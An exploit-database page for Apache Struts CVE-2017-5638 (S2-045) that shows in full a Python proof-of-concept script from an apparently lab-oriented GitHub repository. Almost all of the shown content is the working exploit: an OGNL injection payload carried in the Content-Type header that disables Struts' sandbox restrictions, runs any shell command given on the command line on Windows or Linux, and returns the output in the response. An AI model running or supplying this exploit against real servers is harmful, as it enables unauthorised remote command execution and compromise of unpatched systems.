Exploit database

GH-6ef030f672db50c8728a8a91cc546606

acharaf06/cve-2017-5638-attack-and-defense

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2017-5638

91 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/exploit.py

Suggested starting filePython · 3,456 bytes
#!/usr/bin/env python3
"""
S2-045 Exploitation Script (Python version)
=============================================================================
This script demonstrates S2-045 exploitation using Python requests.
Can be used as an alternative to the bash script.
=============================================================================
"""

import sys
import urllib.parse
import requests
from typing import Optional

def build_ognl_payload(command: str) -> str:
    """
    Build OGNL payload for S2-045 exploitation.
    
    Args:
        command: System command to execute
        
    Returns:
        OGNL injection payload string
    """
    encoded_command = urllib.parse.quote(command)
    
    # OGNL payload that exploits the Content-Type header parsing vulnerability
    # Note: Using %% to escape % characters so Python doesn't interpret them as format specifiers
    payload = (
        "%%{(#_='multipart/form-data')."
        "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
        "(#_memberAccess?(#_memberAccess=#dm):"
        "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
        "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
        "(#ognlUtil.getExcludedPackageNames().clear())."
        "(#ognlUtil.getExcludedClasses().clear())."
        "(#context.setMemberAccess(#dm))))."
        "(#cmd='%s')."
        "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
        "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
        "(#p=new java.lang.ProcessBuilder(#cmds))."
        "(#p.redirectErrorStream(true))."
        "(#process=#p.start())."
        "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
        "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
        "(#ros.flush())}"
    ) % encoded_command
    
    return payload


def exploit(target_url: str, command: str) -> Optional[str]:
    """
    Exploit S2-045 vulnerability to execute a command.
    
    Args:
        target_url: Base URL of the vulnerable application
        command: Command to execute
        
    Returns:
        Response text if successful, None otherwise
    """
    payload = build_ognl_payload(command)
    
    headers = {
        'Content-Type': payload
    }
    
    # Create multipart form data
    files = {
        'upload': ('test.txt', b'')
    }
    
    try:
        response = requests.post(
            f"{target_url}/upload",
            headers=headers,
            files=files,
            timeout=10
        )
        
        return response.text
        
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}", file=sys.stderr)
        return None


def main():
    """Main function for command-line usage."""
    if len(sys.argv) < 3:
        print("Usage: exploit.py <target_url> <command>")
        print("Example: exploit.py http://127.0.0.1:8081/struts-lab 'whoami'")
        sys.exit(1)
    
    target_url = sys.argv[1]
    command = sys.argv[2]
    
    print(f"Target: {target_url}")
    print(f"Command: {command}")
    print("Exploiting S2-045 vulnerability...")
    print()
    
    result = exploit(target_url, command)
    
    if result:
        print("Response:")
        print(result)
    else:
        print("Exploitation failed")
        sys.exit(1)


if __name__ == "__main__":
    main()